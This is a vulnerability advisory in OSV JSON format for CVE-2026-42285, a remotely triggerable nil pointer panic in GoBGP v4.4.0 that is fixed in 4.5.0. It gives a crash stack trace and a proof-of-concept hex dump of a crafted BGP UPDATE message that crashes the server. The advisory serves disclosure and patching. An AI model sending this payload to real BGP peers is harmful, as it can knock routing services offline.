CVE-2026-42285: Github.com/osrg/gobgp/v4 GoBGP Has A Panic Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p3w2-64xm-833j",
  "modified" : "2026-05-08T20:42:39Z",
  "published" : "2026-05-05T20:57:14Z",
  "aliases" : [ "CVE-2026-42285" ],
  "summary" : "GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)",
  "details" : "### Summary\nRemote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing\nAn unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.\n\n\n### Details\nThe vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.\n\nTriggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., \"attribute value length is short\"), GoBGP logs a warning: the received Update message was treated as withdraw.\n\nCode Path:\n\nThe message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.\n\nDue to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.\n\nThe execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.\n\nThe Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.\n\nLog Snippet:\n```\n{\"time\":\"2026-04-21T12:43:10.009107962+08:00\",\"level\":\"WARN\",\"msg\":\"the received Update message was treated as withdraw\",\"Topic\":\"Peer\",\"Key\":\"192.168.31.195\",\"State\":\"BGP_FSM_ESTABLISHED\",\"Error\":\"attribute value length is short\"}\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]\n\ngoroutine 52 [running]:\ngithub.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})\n        /home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8\ngithub.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)\n        /home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4\ngithub.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)\n        /home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6\ngithub.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)\n        /home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25\ngithub.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)\n        /home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82\ncreated by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37\n        /home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5\n\n```\n\n### PoC\n```\n[SEND] OPEN\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00\n[RECV] Type: 1 | Length: 77\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02\n[+] Received OPEN from peer\n[SEND] KEEPALIVE\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04\n[RECV] Type: 4 | Length: 19\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04\n[+] BGP Session Established\n[SEND] Crafted UPDATE\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00\n[*] Waiting for peer reaction...\n[+] Done.\n```\n\n### Impact\nRemote Denial of Service (DoS) in GoBGP v4.4.0",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/osrg/gobgp/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.4.0"
      }, {
        "fixed" : "4.5.0"
      } ]
    } ],
    "versions" : [ "4.4.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42285"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/osrg/gobgp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/osrg/gobgp/releases/tag/v4.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-476" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T20:57:14Z",
    "nvd_published_at" : "2026-05-07T12:16:18Z"
  }
}